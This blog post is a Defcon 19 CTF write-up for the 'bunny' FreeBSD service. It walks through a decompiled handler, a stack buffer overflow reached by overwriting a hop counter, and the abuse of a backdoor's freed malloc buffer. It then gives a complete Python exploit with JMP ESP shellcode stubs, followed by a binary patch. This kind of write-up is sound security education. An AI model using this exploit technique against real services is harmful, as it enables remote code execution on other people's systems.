Thursday, August 11, 2011

Defcon 19 CTF - Bunny

bunny: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),
dynamically linked (uses shared libs), for FreeBSD 8.2, stripped

This service classically listens on port 15323 and drops to privileges of user "bunny". For every connection, a child is forked and handler function is called.


Decompilation by IDA Pro with Hex-Rays gives:
int __cdecl handler(int first_fd)
{
  int fd; // ebx@1
  unsigned int seed; // eax@1
  int newport; // ST20_4@2
  int newsock; // [sp+24h] [bp-44h]@2
  unsigned int i; // [sp+28h] [bp-40h]@1
  struct sockaddr addr; // [sp+2Ch] [bp-3Ch]@3
  socklen_t addr_len; // [sp+48h] [bp-20h]@1
  char buf[12]; // [sp+4Ch] [bp-1Ch]@1
  unsigned int hops; // [sp+58h] [bp-10h]@1

  fd = first_fd;
  *(_DWORD *)buf = 0;
  *(_DWORD *)&buf[4] = 0;
  *(_WORD *)&buf[8] = 0;
  addr_len = 28;
  seed = time(0);
  srand(seed);
  hops = rand() % 30 + 5;
  printf_sock(first_fd, "Check out these %d hops\n", hops);
  i = 0;
  if ( hops )
  {
    do
    {
      newport = rand() % 64511 + 1024;
      close(fd);
      newsock = bind_listen(newport);
      do
        fd = accept(newsock, &addr, &addr_len);
      while ( fd == -1 );
      close(newsock);
      print_sock(fd, "nop nop nop!\n", 0);
      recv_sock(fd, (int)&buf[i], 1u);
      if ( strstr(buf, "/bin/sh") )
        if_binsh(fd, 0);
      ++i;
    }
    while ( i < hops );
  }
  print_sock(fd, "You made it!\n", 0);
  close(fd);
  return 0;
}
First, the server returns a number of hops determined by srand(time(0)) at connection, minimum 5 and maximum 34.

Then, the server enters the following loop:
  1. close the previous connection
  2. bind on rand() unprivileged (>1024) port
  3. receive 1 byte and store it on a stack buffer of size 12
  4. continue the loop if iterations < hops

The stack after the buffer is as follow:
  char buf[12]; // [sp+4Ch] [bp-1Ch]@1
  unsigned int hops; // [sp+58h] [bp-10h]@1

We can rewrite the hops variable if hops > 12, and modify it to increment the maximum number of iterations, allowing us to write as many bytes as we want on the stack: this is a stack-based buffer overflow.


Quick exploit


Synchronize the clocks, re-implement FreeBSD libc srand() & rand(), create a function to iterate the loop, and use it to exploit the stack-based buffer overflow with a JMP ESP + payload. We use the JMP ESP (FF E4) found in FreeBSD 8.2 libc at 0x2816065d.

Disadvantage: this requires many TCP connections, one for every byte we rewrite on the stack.


Better exploit


The string "/bin/sh" in the buffer triggers ddtek's backdoor, which does a malloc() then two recv() for size - recv(4) - then data - recv(size) - where size <= 0x400. Since we do not know ddtek's key we will fail the other checks and this memory will be freed. However, the data remains in memory at the address of the malloc (not zeroed) and this address remains untouched in the call stack.

Thus, we can build the following exploit:
  • trigger "/bin/sh" backdoor, store payload there
  • buffer overflow with JMP ESP + stub to retrieve malloc address on call stack and jump to it
  • we can put the stub inside the buffer and use JMP ESP + short JMP
  • total hops (number of new TCP connections) needed is only 38
  • only depends on the address of JMP ESP

Exploit code:
#!/usr/bin/python
# Defcon 2011 CTF - bunny
import os, socket, time, random
from struct import pack, unpack
from sys import argv, exit

DEFAULT_PORT = 15323
DEBUG = False
JMP_ESP = 0x2816065d # FreeBSD 8.2
MAXTRIES = 5

# reimplement FreeBSD's libc srand/rand
RAND_MAX = 0x7fffffff

def srand(seed):
  global RAND_NEXT
  RAND_NEXT = seed

def rand():
  global RAND_NEXT
  if RAND_NEXT == 0:
    RAND_NEXT = 123459876
  hi = RAND_NEXT / 127773
  lo = RAND_NEXT % 127773
  x = 16807 * lo - 2836 * hi
  if x < 0:
    x += 0x7fffffff
  RAND_NEXT = x & 0xFFFFFFFF
  return RAND_NEXT % (RAND_MAX + 1)

def randchars(size):
  return "".join([chr(random.randint(0,255)) for i in range(size)])

def connect(dst, port):
  for retry in range(MAXTRIES):
    try:
      s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM)
      s.connect((dst, port))
      return s
    except socket.error, e:
      if retry==MAXTRIES-1:
        print "Error: %s, too many fails, exiting" % repr(e)
        exit(1)
      print "Error: %s, retrying..." % repr(e)
      time.sleep(0.1)

def recv(s, size=4096):
  d = s.recv(size)
  if DEBUG: print "S: %r" % d
  return d

def send(s, d):
  if DEBUG: print "C: %r" % d
  return s.send(d)

def correct_seed_with_hops(seed, hops):
  for i in range(-15,15):
    srand(seed+i)
    h = rand() % 30 + 5
    if h == hops:
      return seed+i
  print "Error: failed to adjust seed with hops. Server time is different? (or service patched)"
  exit(1)

def walk(s, dst, buf, hops=0):
  for i in range(len(buf)):
    newport = rand() % 64511 + 1024
    print "[+] Hop #%i, connecting to port %i" % (hops+i+1, newport)
    s.close()
    time.sleep(0.1)
    s = connect(dst, newport)
    recv(s)
    send(s, buf[i])
  return s

def exploit(dst, port):
  while True: # auto-retry seed
    s = connect(dst, port)
    estimated_seed = int(time.time())
    print "[*] Estimated seed: 0x%08x" % estimated_seed
    
    hops = int(recv(s).split(' ')[3])
    # use that value to adjust seed if needed
    seed = correct_seed_with_hops(estimated_seed, hops)
    if seed != estimated_seed:
      print "[*] Corrected seed: 0x%08x" % seed
    
    if hops >= 13:
      break
    
    print "[!] Hops %i < 13, exploitation not possible, retrying..." % hops
    time.sleep(1)
  
  sc = "\xcc" # your shellcode
  
  # walk to the crypto backdoor, '/bin/sh' is the trigger
  s = walk(s, dst, "/bin/sh") # 7 hops
  
  # enter the crypto backdoor
  recv(s, 32) # receive random bytes
  send(s, pack("<I", len(sc))) # send size
  send(s, sc) # send data to malloc() area
  
  buf  = randchars(5)
  buf += pack("<I", 7+5+4+16+4+2) # size
  buf += "\x8b\x84\x24\x5c\xfe\xff\xff" # 1) mov eax,[esp-420]: malloc address
  buf += "\xff\xe0" # jmp eax
  buf += randchars(7)
  buf += pack("<I", JMP_ESP) # eip
  buf += "\xeb" + chr(0xFE -20) # jump to 1)
  
  # walk to shellcode! total hops needed: 38
  s = walk(s, dst, buf, 7)
  
  print "[x] Done"
  recv(s)
  s.close()

if __name__=='__main__':
  if len(argv) < 2:
    print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT)
    exit(1)
  dst = argv[1]
  port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT
  try:
    exploit(dst, port)
  except KeyboardInterrupt:
    print "Interrupted"

Patch


Change handler's ret instruction with exit system call: just after xor eax,eax at 0x0804981a, put inc eax; int 0x80. It gives the following 3-bytes patch in IDA .dif format:
0000181C: 5B 40
0000181D: 5E CD
0000181E: 5F 80

Stack-buffer overflow will still be there but not exploitable, at least in this way. Also, unlike other teams who patched the number of hops to be < 13, this does not change how the server replies and therefore cannot be detected.

Note that changing system time to prevent exploitation may not be a good idea, because even ddtek would not be able to connect to their backdoor, therefore decreasing SLA (well, if ddtek notices it).

2 comments:

  1. Thanks for the write up! Please keep em coming!

    ReplyDelete
  2. how did you study about NetworkProgramming in Python??

    ReplyDelete